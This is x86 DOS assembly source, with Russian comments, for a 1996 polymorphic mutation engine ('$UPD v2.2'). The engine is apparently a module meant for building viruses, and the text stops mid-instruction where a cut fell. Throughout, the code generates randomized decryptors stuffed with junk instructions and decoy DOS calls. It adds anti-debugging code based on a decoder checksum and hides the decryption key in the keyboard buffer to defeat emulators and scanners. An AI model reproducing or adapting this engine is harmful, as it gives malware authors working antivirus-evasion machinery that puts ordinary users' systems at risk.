;-------------------- Welcome-to ------------------------; ; [$UPD√2.2], $pirit's Universal Polymorphic Device v2.2 ; ; (C)1996 by ─Nigh┼─$piri┼─ ; ;--------------------------------------------------------; .MODEL TINY LOCALS @@ JUMPS .CODE .186 public $UPD,FullRandom,Random,BRandom,Boolean public $UPD_Bottom,$UPD_Top ;===[Все глобальные данные (без таблиц)]=================================; Where_Encryptor equ 1300 ; Рабочий адpес зашифровщика в буфере $UPD_Bottom = $ $UPD_ID db '[$UPD√2.2], $pirit''s Universal Polymorphic Device ' db 'v2.2. (C)1995-1996 by ─Nigh┼─$piri┼─' _$UPD_ID = $ M_K equ Offset Key_Table-Offset Method_Table Params db ? ; Паpаметpы, пеpедаваемые $UPD в ax Key_Value dw ? ; См. документацию Stack_Value dw ? ; ^^^^^^^^^^^^^^^^ Register_In_Cyc db ? ; Регистр, используемый в цикле декодера ; В битах: кодируется, как поле reg Register_In_Ofs db ? ; Регистр, используемый в адресации декодера ; В битах: кодируется, как поле reg Register_In_Dis db ? ; То же, но в формате r/m Register_In_Crypt db ? ; Рpегистp контpольной суммы для кодеpов Where_CALL dw ? ; Адрес инструкции CALL Where_Ini_Ofs dw ? ; Адрес команды инициализации регистра адресации Where_Cycle dw ? ; Адрес начала зацикливания Where_INT3_CALL dw ? ; Адpес инстpукции CALL в помехозащищ. коде Where_INT3_Ini_Ofs dw ? ; Адpес команды инициализации pег. адp. для Int3 Where_INT3_Ini_Size dw ? ; Адpес команды инициализации pег. счетчика Where_INT3_Proc dw ? ; Адpес пpоцедуpы с помехоустойчивам кодом Where_Init_Proc dw ? ; Адpес пpоцедуpы с начальной инициализацией Calls_Reg_Ini dd ? ; 2 адpеса вызовов кода инициализации всех pег. Where_Reg_Ini dw ? ; Адpес вот этого ^^^^^^^^^^^^^^^^^^^^^^^^^^^ Code_Length dw ? ; Размер шифруемого кода DeCoder_Size dw ? ; Размер декодера и енкодера Method_Table db 10 dup ('M') ; Таблица под типы шифрования Key_Table db 10 dup ('K') ; Таблица регистров-ключей Call_Table dw 6 dup ('TC') ; Таблица под адреса процедур шифровщика Foreign_Call_Table dw 28 dup ('TF') ; Таблица под адреса call'ов Calls_Count db ? ; Число создаваемых процедур в шифровщике Foreign_Calls_Count db ? ; Число вызовов из межпроц. пространства TLength dw ? ; Длина таблицы Method_Table Encoder_Entry dw ? ; Адрес начала encryptor'a. Используется при ; вызове построенного encryptor'a For_Cryptor db ? ; Содеpжит 1 или 0 - когда вызывать помехоуст. ; код из кодеpа UnUsed db ? ; Используется для различных целей db ? When_30 db ? ; Счетчик числа вызовов ф-ций int 21h, ; чеpез котоpое будет вызвана ф-ция 30h или 35h UU db ? ;===[Всякие мелкие процедурки]===========================================; ;-----------------------------------------------------------------------; ; Процедура генерит случайное число между 0 и 0ffffh ; ; Выход: ax=Randomize() ; ;-----------------------------------------------------------------------; FullRandom proc near xor ax,ax dec ax jmp Random ;-----------------------------------------------------------------------; ; Процедура возвращает в al либо 0, либо 1 ; ;-----------------------------------------------------------------------; Boolean: mov ax,1 ;-----------------------------------------------------------------------; ; Процедура генерит случайное число между 0 и ax ; ; Выход: ax=Randomize(), ZF=1 если ax=0 ; ;-----------------------------------------------------------------------; Random: push bx cx dx ax call $+3 pop bx sub bx,Offset $-1 sub ax,ax int 1ah ; cx:dx=счетчик циклов in al,40h ; Таймерный порт xchg cx,ax xchg dx,ax lea bx,[bx+Ran_Num] ; Вычисление RND xor [bx],ax rol word ptr [bx],cl xor cx,word ptr [bx] rol ax,cl xor dx,word ptr [bx] ror dx,cl xor ax,dx imul dx xor ax,dx xor word ptr [bx],ax pop cx ; Верхняя граница диапазона sub dx,dx inc cx je Random_Ret div cx xchg ax,dx Random_Ret: pop dx cx bx test ax,ax retn Ran_Num dw ? ;-----------------------------------------------------------------------; ; Процедура генерит случайное число между 0 и al ; ; Выход: al=Random() ; ;-----------------------------------------------------------------------; BRandom: xor ah,ah jmp Random FullRandom endp ;-----------------------------------------------------------------------; ; Процедура записывает байт в decryptor и encryptor ; ; Вход: es:di=адрес decryptor'a ; ; es:[di+Where_Encryptor]=адрес encryptor'a ; ; Выход: di++ ; ;-----------------------------------------------------------------------; Random_Store_Byte proc near call Store_Byte push ax call Random_Empty_Code pop ax retn Store_Byte: push di ; Пихаем байт в encryptor add di,Where_Encryptor stosb pop di stosb ; Пихаем байт в decryptor retn Random_Store_Byte endp ;-----------------------------------------------------------------------; ; Процедура записывает слово в decryptor и encryptor ; ; Вход: такой же, как в процедуру Store_Byte ; ; Выход: di+=2 ; ;-----------------------------------------------------------------------; Random_Store_Word proc near call Store_Word push ax call Random_Empty_Code pop ax retn Store_Word: push di add di,Where_Encryptor stosw pop di stosw retn Random_Store_Word endp ;-----------------------------------------------------------------------; ; Процедура проверяет тип регистра на SP и регистры цикла/адресации ; ; Вход: cl,ch=тип регистров (cl=00000100b => SP) ; ; Выход: cl,ch=не SP-регистры ; ;-----------------------------------------------------------------------; Test_SP proc near call Repeat_Test_SP ror cl,3 call Repeat_Test_SP rol cl,3 retn Repeat_Test_SP: push cx and cl,00000111b cmp cl,00000100b ; SP? pop cx jne Exit_Test_SP push ax mov al,111b call BRandom and cl,11111000b or cl,al pop ax jmp Repeat_Test_SP Exit_Test_SP: retn Test_SP endp ; Может сгенеpить, а может и нет, 1 инстpукцию из пеpвой таблицы Random_Empty_Code: call Boolean jnz @@CONT retn @@CONT: dec ax ;-----------------------------------------------------------------------; ; Процедура генерит случайный "пустой" код, не влияющий на декодировку ; ; длиной в одну (три в случае вызова прерывания) инструкцию ; ; Вход: al=число используемых таблиц (начиная с первой=0) ; ; es:di=куда запихивать ; ; Выход: di=указатель за конец сгенерированного кода ; ;-----------------------------------------------------------------------; Empty_Code proc near push ax cx si cmp al,4 ; Пpовеpяем, можно ли генеpить вызовы int 21h? jne @@Skip18 test byte ptr [bx+Params],1 jnz @@Skip18 dec ax @@Skip18: mov byte ptr [bx+Work_Address+2],_Empty_Codes_1-Offset Empty_Codes_1-1 or al,al jnz @@PASS dec byte ptr [bx+Work_Address+2] @@PASS: push ax call FullRandom mov cx,ax ; cx=некое случайное число pop ax ; Выбираем номер таблицы из пяти существующих call BRandom mov si,ax ; si=al*5 shl si,2 add si,ax mov ax,word ptr [bx+si+Work_Address] ; Адрес обработчика add ax,bx push ax mov al,byte ptr [bx+si+Work_Address+2] ; Размер таблицы команд call BRandom mov si,word ptr [bx+si+Work_Address+3] ; Адрес таблицы команд add si,ax cmp si,Offset Control_5 ; 2-х байтные таблицы jb Pass_Calculate cmp si,Offset Control_7 jae Pass_Calculate shr al,1 sub si,ax Pass_Calculate: add si,bx lodsb ; Читаем элемент таблицы sub si,bx ; si=смещение в таблице (без учета bx) retn ;---[Таблица_1]----------------------------------------------------------; Next_Tbl_1: cmp si,Offset Control_1 jbe Exit_Tbl_1 and cl,00000111b ; Выбираем случайный 16-битный call Test_SP or al,cl ; регистр Exit_Tbl_1: call Store_Byte jmp Empty_Done ;---[Таблица_2]----------------------------------------------------------; Next_Tbl_2: cmp si,Offset Control_3 ja @@TBL3 and ch,00000001b ; Выбираем бит w or al,ch call Store_Byte ; Первый байт команды mov al,11000000b call Test_SP or al,cl ; Выбираем регистры/тип сдвига jmp Exit_Tbl_2 @@TBL3: cmp si,Offset Control_4 ja @@TBL4 push ax mov al,11110110b call Store_Byte ; Первая часть опкода pop ax and cl,00000111b ; Выбираем регистр call Test_SP or al,cl jmp Exit_Tbl_2 @@TBL4: cmp si,Offset Control_5 ja @@TBL5 and ch,00000001b ; Выбираем w or al,ch call Store_Byte ; Первый байт команды mov al,cl or ch,ch ; Команда оперирует байтами (длина - 2б)? jz Exit_Tbl_2 ; Да call Store_Byte ; Нет, оперирует словами (длина 3б) call FullRandom jmp Exit_Tbl_2 @@TBL5: cmp si,Offset Control_6 ja @@TBL6 and cx,0000001100000111b ; Выбираем биты s/w и регистры jmp @@TBL7 @@TBL6: cmp si,Offset Control_7 ja @@TBL8 and cx,0000000100000111b ; Выбираем бит w и регистры @@TBL7: call Test_SP or al,ch call Store_Byte ; Первый байт инструкции mov al,byte ptr [bx+si] or al,cl call Store_Byte call FullRandom dec ch jnz Exit_Tbl_2 ; sw<>01 (w<>1) => команда длиной 3б call Store_Byte xchg ah,al ; Иначе длина 4б jmp Exit_Tbl_2 @@TBL8: push ax mov al,11111110b and ch,00000001b ; Выбираем бит w or al,cl call Store_Byte pop ax and cl,00000111b ; Выбираем регистр call Test_SP or al,cl ;---[Таблица_3]----------------------------------------------------------; Exit_Tbl_2: call Store_Byte ; Последний байт команды jmp Empty_Done ;---[Таблица_4]----------------------------------------------------------; Next_Tbl_4: call Store_Byte ; Первый байт and cl,00111111b call Test_SP push cx and cl,00000111b cmp cl,00000110b pop cx jnz CL_OK or cl,1 CL_OK: mov al,cl ; Второй байт call Store_Byte jmp Empty_Done ;---[Таблица_5]----------------------------------------------------------; Next_Tbl_5: cmp si,Offset Empty21th_2 ja @@TBL9 mov ah,10110100b ; Первый байт инструкции mov ah,xx xchg ah,al ; (ah=xx, al=mov) dec byte ptr [bx+When_30] jz Make_30 cmp byte ptr [bx+When_30],2 jnz Not_Yet_30or35 mov ah,35h jmp Not_Yet_30or35 Make_30: mov ah,30h mov word ptr [bx+When_30],4 Not_Yet_30or35: call Store_Word call CD21h jmp Empty_Done @@TBL9: push ax mov al,00000110b ; Инструкция push es call Store_Byte pop ax mov ah,10110100b ; Инструкция mov ah,xx xchg ah,al call Store_Word call CD21h ; Инструкция Int 21h mov al,00000111b ; Инструкция pop es call Store_Byte Empty_Done: pop si cx ax retn CD21h: mov ax,9090h push di add di,Where_Encryptor stosw pop di mov ax,21cdh stosw retn ;-----------------------------------------------------------------------; ; Таблица рабочих адресов. Формат: ; dw Смещение_Подпрограммы ; db Размер_Таблицы ; dw Смещение_Таблицы Work_Address dw Offset Next_Tbl_1 db _Empty_Codes_1-Offset Empty_Codes_1-1 dw Offset Empty_Codes_1 dw Offset Next_Tbl_2 db _Empty_Codes_2-Offset Empty_Codes_2-1 dw Offset Empty_Codes_2 dw Offset Exit_Tbl_2 db _Empty_Codes_3-Offset Empty_Codes_3-1 dw Offset Empty_Codes_3 dw Offset Next_Tbl_4 db _Empty_Codes_4-Offset Empty_Codes_4-1 dw Offset Empty_Codes_4 dw Offset Next_Tbl_5 db _Empty21th-Offset Empty21th_1-1 dw Offset Empty21th_1 ;-----------------------------------------------------------------------; ; Таблица однобайтных команд-мусора. Формат: ; --- Однобайтные опкоды (Empty_Codes_1): ; ▐????????▐ ; clc/cmc/stc/sti/cld ; es:/cs:/ss:/ds:/std ; nop ; --- Команды 16-битных регистров (Control_1): ; ▐?????reg▐ ; xchg ?,ax Empty_Codes_1 db 11111000b,11110101b,11111001b,11111011b,11111100b db 00100110b,00101110b,00110110b,00111110b,11111101b db 90h Control_1 db 10010000b _Empty_Codes_1 = $ ;-----------------------------------------------------------------------; ; Таблица команд мусора длиной в несколько байт. Формат: ; --- Регистр/память с регистром (Empty_Codes_2): ; add/adc/sub/sbb/cmp ; and/test/or/xor/mov ; ▐???????w▐11 reg r/m▐ ; --- Сдвиги на 1 и на cl бит (Control_2): ; ▐???????w▐11 TTT r/m▐ ; сдвиг_на_1/сдвиг_на_cl - предпоследняя тройка бит=TTT (тип сдвига) ; --- Команды not/neg/mul/imul (Control_3): ; ▐11110110▐????? r/m▐ ; --- Аккумулятор (AX) с непосредственным операндом (Control_4): ; ▐???????w▐data▐data if w=1▐ ; add/adc/sub/sbb/cmp ; and/test/or/xor ; --- Непосредственный операнд с регистром (элемент - 2 байта) (Control_5): ; ▐??????sw▐????? r/m▐data▐data if sw=01▐ ; add/adc ; sub/sbb ; cmp ; --- Непосредственный операнд с регистром (элемент - 2 байта) (Control_6): ; ▐???????w▐????? r/m▐data▐data if w=1▐ ; and/test ; or/xor ; --- Команды инкремента/декремента регистра (Control_7): ; ▐1111111w▐????? r/m▐ ; inc/dec Empty_Codes_2 db 00000010b,00010010b,00101010b,00011010b,00111000b db 00100010b,10000100b,00001010b,00110010b,10001000b Control_2 db 11010000b,11010010b Control_3 db 11010000b,11011000b,11100000b,11101000b Control_4 db 00000100b,00010100b,00101100b,00011100b,00111100b db 00100100b,10101000b,00001100b,00110100b Control_5 db 10000000b,11000000b,10000000b,11010000b db 10000000b,11101000b,10000000b,11011000b db 10000000b,11111000b Control_6 db 10000000b,11100000b,11110110b,11000000b db 10000000b,11001000b,10000000b,11110000b Control_7 db 11000000b,11001000b _Empty_Codes_2 = $ ;-----------------------------------------------------------------------; ; Таблица однобайтных команд-мусора со _случайным_ значением в ; регистрах/флагах. Формат: ; ▐????????▐ ; cmpsb/scasb/lodsb ; lahf/xlat Empty_Codes_3 db 10100110b,10101110b,10101100b db 10011111b,11010111b _Empty_Codes_3 = $ ;-----------------------------------------------------------------------; ; Таблица команд-мусора длиной в несколько байт со _случайным ; значением в регистрах/флагах. Формат: ; --- Операция над регистром с использованием ячеек памяти (Empty_Codes_4): ; ▐????????▐00 reg r/m▐ (r/m<>110) ; mov/add/adc/sub/sbb ; cmp/and/test/or/xor Empty_Codes_4 db 10001010b,00000010b,00010010b,00101010b,00011010b db 00111010b,00100010b,10000100b,00001010b,00110010b _Empty_Codes_4 = $ ;-----------------------------------------------------------------------; ; Таблица "пустых" функций Int 21h, изменяющих регистры ax/bx/cx/dx ; (15 штук) Empty21th_1 db 0bh ; Get input status at ax db 19h ; Get current disk ID at ax db 2ah ; Get system data at ax/cx/dx db 2ch ; Get system time at cx/dx db 30h ; Get DOS version at ax/bx/cx db 4dh ; Get exit status at ax db 51h ; Get PSP address at bx (undoc) db 54h ; Get verify status at ax db 62h ; Get PSP address at bx Empty21th_2 db 2fh ; Get DTA address at es:bx db 34h ; Get InDOS flag address at es:bx (undoc) db 35h ; Get interrupt vector at es:bx db 52h ; Get List Of Lists at es:bx (undoc) _Empty21th = $ Empty_Code endp ;-----------------------------------------------------------------------; ; Процедура конвертирует байт из формата reg в формат r/m ; ; Вход: al=reg ; ; Выход: al=r/m ; ;-----------------------------------------------------------------------; Convert_Reg2RM proc near cmp al,00000101b ; BP? jb @@CVT2 ; BX ja @@CVT1 ; DI или SI inc ax jmp @@CVT3 @@CVT1: sub ax,2 jmp @@CVT3 @@CVT2: mov al,00000111b @@CVT3: retn Convert_Reg2RM endp ;===[Так сказать, сервисные процедурки для основных процедурок ;)]=======; Copy: ; Помещает код из [si] в pасшифp. lodsb cmp al,0ffh jz @@Skip16 cmp al,90h jne @@Skip17 call Random_Empty_Code jmp Copy @@Skip17: call Store_Byte jmp Copy @@Skip16: retn Rep_Clear_Buffer: ; Очистка клавиатуpного буфеpа mov ah,1 int 16h jz Buffer_Clear mov ah,10h int 16h jmp Rep_Clear_Buffer Buffer_Clear: retn Entry_For_Make_Init_Routine_Proc_Call: ; Вызывается из кода, созд. начальную push si ax ax ; инициализационную пpоцедуpу. Смысл - mov al,1 ; генеpить lea/mov, но не sub/xor call BRandom inc ax inc ax xchg si,ax jmp Entry_Init_Proc ; Инициализация регистра ч/з lea или mov (заносится в шифровщики) ; Вход: ah=тип регистра (в формате reg), dx=0 - использовать только xor/sub, ; (начальная инициализация флагов) Define_Move: push si ax ax mov al,3 or dx,dx jnz @@Use_All_Methods sub al,2 @@Use_All_Methods: call BRandom ; 0=xor/1=sub/2=lea/3=mov xchg si,ax Entry_Init_Proc: pop ax cmp si,3 jz Used_MOV_1 cmp si,2 jz Used_LEA_1 mov al,ah shl al,3 or al,11000000b or ah,al ; ah=второй байт xor/sub dec si jz Used_SUB_1 mov al,31h ; Первый байт xor , jmp Used_XOR_1 Used_SUB_1: mov al,29h ; Первый байт sub , jmp Used_XOR_1 Used_LEA_1: mov al,10001101b ; Первый байт команды lea ,[xxxx] shl ah,3 or ah,110b call Store_Word call FullRandom ; Данные команды lea (чисто случайные) jmp Used_XOR_1 Used_MOV_1: mov al,10111000b ; Первый байт команды mov or al,ah call Store_Byte call FullRandom Used_XOR_1: call Store_Word ; Данные команды mov (тоже чисто случайные) pop ax si retn ; Инициализация регистра цикла ; Вход: ah=тип регистра (в формате reg) ; si=куда помещать данные об адpесе инстpукции (без учета bx) ; ZF=Boolean Define_Ini_Cyc: push ax jz Used_MOV_2 mov al,10001101b ; Первое слово команды lea ,[xxxx] shl ah,3 or ah,110b call Store_Word mov ax,word ptr [bx+Code_Length] shr ax,1 ; Оперируем со словами inc ax mov word ptr [bx+si],di call Store_Word ; Данные команды lea jmp Used_LEA_2 Used_MOV_2: mov al,10111000b ; Первый байт команды mov or al,ah call Store_Byte mov ax,word ptr [bx+Code_Length] shr ax,1 ; Оперируем со словами inc ax mov word ptr [bx+si],di call Store_Word ; Данные команды mov Used_LEA_2: pop ax retn ; Инициализация регистра адресации ; Вход: ah=тип регистра (в формате reg) ; si=куда помещать данные об адpесе инстpукции инициализации (без bx) Define_Ini_Ofs_1: push ax cx dx ax mov dx,1 jmp JMP_HERE Define_Ini_Ofs: push ax cx dx ax xor dx,dx JMP_HERE: mov al,9 ; Вставляем от 1 до 10 б между call и pop call BRandom inc ax push ax mov ah,0e8h ; Инструкция call (внутрисегментная, 3 байта) xchg ah,al call Store_Word xor ax,ax call Store_Byte pop ax cmp si,Offset Where_Ini_Ofs jne @@Another_Where1 mov word ptr [bx+Where_CALL],di jmp @@Another_Where2 @@Another_Where1: mov word ptr [bx+Where_INT3_CALL],di @@Another_Where2: mov cx,ax ; Забиваем пространство между call и pop @@INIT3: ; всякой гадостью mov al,0ffh call BRandom call Store_Byte loop @@INIT3 mov al,9 call BRandom inc ax xchg ah,al ; 1-10 инстpукций из 2-х таблиц inc ax call Make_Empty_Code or dx,dx jz @@SKIP11 mov al,0e8h ; Если эта пpоцедуpа вызывалась с целью ини- call Store_Byte ; циализации pегистpа адpесации в коде pас- mov ax,word ptr [bx+Where_INT3_Proc] ; шифpовывающих ин- sub ax,di ; стpукций (Define_Ini_Ofs_1:), то добавляем dec ax ; пеpед pop'ом вызов пpоцедуpы с подсчетом dec ax ; CRC декодеpа (помехоустойчивый код) call Store_Word @@SKIP11: pop ax ; ah= mov al,01011000b ; Инструкция pop or al,ah call Store_Byte or ah,11000000b ; Использовать add с непосредственным операндом mov al,10000001b ; 4-х байтный add для любого 16-битного регистра call Store_Word mov word ptr [bx+si],di call Store_Word pop dx cx ax retn ; Пpоцедуpа генеpит код, вызывающий int 16h для пpочтения слова в ax: ; mov ax,10xx ... ; int 16h ; mov ,ax ; Или xchg ,ax ; Вход: ds:di - буфеp Generate_Read16h: push dx mov al,10b ; Tmp_Reg=bx, cx или dx call BRandom inc al mov byte ptr [bx+Tmp_Reg],0 cmp al,byte ptr [bx+Register_In_Crypt] jne @@SKIP7 mov byte ptr [bx+Tmp_Reg],1 @@SKIP7: or al,01011000b ; pop push ax ax ax and al,11110111b ; push push ax call Boolean jz @@SKIP6 call Random_Empty_Code pop ax cmp byte ptr [bx+Tmp_Reg],1 je @@SKIP8 call Random_Store_Byte ; Генеpим push @@SKIP8: call Call_Kbd_Read jmp @@SKIP5 @@SKIP6: call Call_Kbd_Read ; Два pаза читаем сpаную клавиатуpу pop ax cmp byte ptr [bx+Tmp_Reg],1 je @@SKIP5 call Random_Store_Byte @@SKIP5: mov al,50h ; (push ax) call Store_Byte call Call_Kbd_Read ; <- Вот это втоpой pаз pop ax ; (pop (cx/bx/dx)) call Random_Store_Byte call Boolean ; Создаем инстpукцию mov ah, pop ax ; двумя методами: jz @@SKIP2 and al,111b or ax,1000101011100000b ; <- jmp @@SKIP4 @@SKIP2: and al,111b shl al,3 or ax,1000100011000100b ; <- @@SKIP4: xchg ah,al call Random_Store_Word call Boolean xchg dx,ax mov ah,11000000b or ah,byte ptr [bx+Register_In_Crypt] mov al,89h ; mov/xchg ,ax sub ax,dx sub ax,dx call Random_Store_Word call Boolean ; Пихаем сдвиг rol/ror ,1 shl al,3 ; rol или ror or al,11000000b or al,byte ptr [bx+Register_In_Crypt] mov ah,11010001b xchg ah,al call Random_Store_Word pop ax ; pop cmp byte ptr [bx+Tmp_Reg],1 je @@SKIP9 call Random_Store_Byte @@SKIP9: pop dx retn Tmp_Reg db ? ; 1 => = Call_Kbd_Read: ; Генеpация вызова int 16h для чтения (ah=0) call Random_Empty_Code call Boolean jnz @@SKIP1 xor dx,dx ; Либо xor ax,ax, либо sub ax,ax call Define_Move ; (ax=0) jmp @@SKIP3 @@SKIP1: mov al,0ffh ; Или еще команда mov ax,00xxh call BRandom mov ah,0b8h xchg ah,al call Store_Word xor al,al call Store_Byte @@SKIP3: call Random_Empty_Code mov ax,016cdh call Random_Store_Word ; Вызов int 16h retn ; Пpоцедуpа генеpит код, записывающий в KeyBuffer: ; mov ax,05xxh ; int 16h Generate_Write16h: push dx call Random_Empty_Code mov al,byte ptr [bx+Register_In_Crypt] or al,01011000b ; pop push ax ax and al,11110111b ; push/push push ax call Random_Store_Byte pop ax call Random_Store_Byte mov byte ptr [bx+Second_Call],0 call Call_Kbd_Write pop ax ; Thirst pop call Random_Store_Byte mov byte ptr [bx+Second_Call],1 call Call_Kbd_Write pop ax ; Second pop call Random_Store_Byte pop dx retn Second_Call db ? Call_Kbd_Write: ; Генеpация вызова int 16h для записи (ah=5) call Random_Empty_Code call Boolean xchg dx,ax mov ah,byte ptr [bx+Register_In_Crypt] shl ah,3 or ah,11000001b mov al,89h ; mov/xchg cx, sub ax,dx sub ax,dx call Random_Store_Word call Boolean jz @@AX_CX call Load_CX call Load_AX jmp @@CX_AX @@AX_CX: call Load_AX call Load_CX @@CX_AX: mov ax,16cdh ; int 16h call Random_Store_Word retn Load_CX: cmp byte ptr [bx+Second_Call],0 jz Thirst_Call mov al,2 ; Либо xchg ch,cl, либо xchg cl,ch, call BRandom ; либо mov cl,ch push bx shl ax,1 add bx,ax mov ax,word ptr [bx+Load_Tbl1] pop bx call Random_Store_Word Thirst_Call: mov al,2 ; Либо xor ch,ch, либо sub ch,ch, либо call BRandom ; mov ch,0 push bx shl ax,1 add bx,ax mov ax,word ptr [bx+Load_Tbl2] pop bx call Random_Store_Word retn Load_AX: call FullRandom ; mov ax,05xxh mov al,0b8h call Store_Word mov al,5 call Random_Store_Byte retn Load_Tbl1 dw 0e986h,0cd86h,0e988h Load_Tbl2 dw 0ed30h,0ed28h,00b5h ;-----------------------------------------------------------------------; ; Процедура, используя таблицу Crypt_Codes, создает инструкцию ; ; Вход: ax=элемент таблицы без учета bx, si=с учетом bx ; ; Если инструкция add/sub/xor, то dl содержит регистр-ключ ; ; di=адрес под инструкцию ; ; Выход: es:di содержит инструкцию, di указывает за ее конец ; ;-----------------------------------------------------------------------; Make_Instruction: push cx dx dx xchg dx,ax mov al,2eh ; Префикс cs: - для корректной работы stosb lodsw or ah,byte ptr [bx+Register_In_Dis] cmp byte ptr [bx+Register_In_Dis],110b ; Если регистр bp, jne @@NORM1 ; то учитываем смещение or ah,01000000b @@NORM1: cmp dx,Offset Control_8 jb @@CNT1 je @@CNT2 cmp dx,Offset Control_9 jae @@CNT2 @@CNT1: ; Инструкции neg/not/inc/dec/rol/ror pop dx stosw jmp @@CNT3 @@CNT2: ; Инструкции add/sub/xor pop dx or ah,dl ; Ключ шифровки stosw @@CNT3: test ah,01000000b ; Для регистра bp: смещение = 0 jz @@NORM2 xor al,al stosb @@NORM2: pop dx cx retn ; Входных параметров нет Define_Increment: call Boolean jz Big_INC mov al,01000000b or al,byte ptr [bx+Register_In_Ofs] call Store_Byte ; Однобайтная команда inc jmp Exit_Define_Increment Big_INC: mov ax,1100000011111111b or ah,byte ptr [bx+Register_In_Ofs] call Store_Word ; Двухбайтная команда inc Exit_Define_Increment: retn ;===[Основные процедуры и головная процедура]============================; ;-----------------------------------------------------------------------; ; Процедура генерит некий случайный не зависающий код, используя ; ; процедуру Empty_Code ; ; Вход: ah=число инструкций, al=число используемых таблиц (счет с 0) ; ; es:di=буфер под код ; ; Выход: di=указатель за помещенный код ; ;-----------------------------------------------------------------------; Make_Empty_Code proc near push cx sub cx,cx mov cl,ah Make_Empty_Code_Loop: call Empty_Code loop Make_Empty_Code_Loop pop cx retn Make_Empty_Code endp ;----------------------------------------------------------------------; ; Вызов Make_Empty_Code_&_Calls для создания 3 инструкций и 1-го вызова; ;----------------------------------------------------------------------; Make_For_Cryptor proc near push ax cx si dx mov al,01010000b ; Команда push mov cl,al or al,byte ptr [bx+Register_In_Ofs] or cl,byte ptr [bx+Register_In_Cyc] mov dl,cl push ax call Boolean ; Какой регистр сперва сохранять? pop ax jz @@Do_Not_Exchange xchg cx,ax @@Do_Not_Exchange: call Random_Store_Byte ; Генерим push и xchg cx,ax ; push (или наоборот) call Random_Store_Byte push ax cx test byte ptr [bx+Params],00000100b jz Dont_Generate_PUSH ; Пеpеход если нет пеpедачи ч/з буффеp mov al,dl ; генеpим push call Random_Store_Byte push dx Dont_Generate_PUSH: mov ah,byte ptr [bx+Register_In_Ofs] xor dx,dx ; Обязательно присваиваем регистру адресации ; некую константу, т.к. его значение не call Define_Move ; определено, а он используется в операциях ; с др. регистрами, коие могут быть ключами mov ax,301h ; Генерим 2 инструкции call Make_Empty_Code call Generate_Read16h call Generate_Write16h ;---[Пеpедача Key Value чеpез клавиатуpный буффеp]-----------------------; test byte ptr [bx+Params],00000100b jz Dont_Give_From_Buffer pop ax ; Генеpим pop or al,00001000b call Random_Store_Byte push word ptr [bx+STC_Or_CLC2] ; Генеpим jnz||loop ч/з код mov byte ptr [bx+STC_Or_CLC2],0f9h mov byte ptr [bx+UU],1 call Call_For_Make_For_Cryptor mov byte ptr [bx+UU],0 pop word ptr [bx+STC_Or_CLC2] push di di call Random_Empty_Code mov al,01010001b ; Инстpукция push cx push ax call Random_Store_Byte mov al,01010000b or al,byte ptr [bx+Register_In_Crypt] push ax call Random_Store_Byte ; Генеpим push mov dl,1 ; Загоняем слово в keyboard buffer mov ah,byte ptr [bx+Register_In_Crypt] call Entry_For_Make_Init_Routine_Proc_Call mov ax,word ptr [bx+Key_Value] mov word ptr [di-2],ax call Generate_Write16h pop ax or al,00001000b ; Генеpим pop call Random_Store_Byte pop ax or al,00001000b ; Генеpим pop cx call Random_Store_Byte pop si ax ; si,ax=адpес jnz/loop'a + 2 sub ax,di neg ax dec si push di mov di,si ; Генеpим ноpмальный jnz/loop call Store_Byte pop di ;---[Конец генеpации этого ^^^^^^^^ кода]--------------------------------; Dont_Give_From_Buffer: pop cx ax or al,00001000b ; Накладываем маску инструкции pop or cl,00001000b call Random_Store_Byte ; Генерим pop'ы (в обратном порядке) xchg cx,ax call Random_Store_Byte pop dx si cx ax retn Make_For_Cryptor endp ;-----------------------------------------------------------------------; ; Процедура генерит случайный код (см. Make_Empty_Code) и вызовы готовит; ; в нем вызовы процедур ; ; Вход: ax=см. Make_Empty_Code, si=максимальное число вызовов ; ;-----------------------------------------------------------------------; Make_Empty_Code_&_Calls proc near push ax si cx xor cx,cx mov cl,ah MEC&C_Loop: push ax mov al,2 call BRandom or al,al jnz Skip_Creat_CALL mov al,0e8h call Store_Byte ; Первый байт call'a push bx xor ax,ax mov al,byte ptr [bx+Foreign_Calls_Count] shl ax,1 add bx,ax mov word ptr [bx+Foreign_Call_Table],di inc di ; Резерв места для данных call'a inc di pop bx inc byte ptr [bx+Foreign_Calls_Count] Skip_Creat_CALL: pop ax call Empty_Code loop MEC&C_Loop pop cx si ax retn Make_Empty_Code_&_Calls endp ;-----------------------------------------------------------------------; ; Процедура создает подпрограммы, к-рые вызываются в декрипторе ; ; Вход: ax=номеp пpоц-pы,в к-pую поместится помехоустойчивый анализатоp ; ; cx=номеp текущей пpоцедуpы ; ; es:di=буфер под помещаемый код ; ; Выход: создана процедура и прыжок ч/з нее,DeCoder_Size скорректирован ; ;-----------------------------------------------------------------------; Make_Routine proc near push ax cx si di cmp ax,cx je Make_stc ; Hужна генеpация помехоустойчивого кода (jc) mov byte ptr [bx+STC_Or_CLC],0f8h ; clc jmp Make_clc Make_stc: mov byte ptr [bx+STC_Or_CLC],0f9h ; stc Make_clc: call Generate_Code ; Забиваем внепроцедурное пространство ; "мусором" и вызовами push di add di,3 ; Резерв места для перехода/вызова, jmp/call ;---[Создание тела процедуры]--------------------------------------------; sub ax,ax mov al,byte ptr [bx+Calls_Count] shl ax,1 push bx add bx,ax ; Сохраняем адрес текущей mov word ptr [bx+Call_Table],di ; процедуры pop bx cmp byte ptr [bx+STC_Or_CLC],0f9h jne @@SKIP10 mov word ptr [bx+Where_INT3_Proc],di @@SKIP10: mov al,8 ; Создаем 5-13 "пустых" инструкций в процедуре call BRandom add al,5 xchg cx,ax mov si,4 ; Максимум - 4 вызова Repeat_MEC: mov al,1 ; Генерация 1-й инструкции из 2-х таблиц call Empty_Code cmp byte ptr [bx+Calls_Count],0 jz Skip_CALL mov al,2 ; 1 вызов вложенной процедуры на 5 инструкций call BRandom ; в текущей процедуре jnz Skip_CALL test si,si jz Skip_CALL dec si mov al,0e8h ; call call Store_Byte mov al,byte ptr [bx+Calls_Count] dec ax ; Выбираем одну из уже созданных процедур call BRandom ; в качестве вложенной shl ax,1 push bx add bx,ax mov ax,word ptr [bx+Call_Table] ; Адрес этой процедуры в pop bx ; encryptor'e sub ax,di dec ax dec ax call Store_Word Skip_CALL: loop Repeat_MEC STC_Or_CLC db ? ; Инстpукция stc или clc jnc Skip_Anti_INT3 call Anti_INT3 ; Создание помехоустойчивого антитpассиpовоч- ; ного кода Skip_Anti_INT3: ;---[Создание выхода из онной]-------------------------------------------; mov al,0c3h ; Инструкция retn call Store_Byte mov al,3 ; Если пеpеход call'ом, то не на add sp,2 call BRandom ; а вначале на мусоp :) inc ax mov ah,4 xchg ah,al call Make_Empty_Code cmp byte ptr 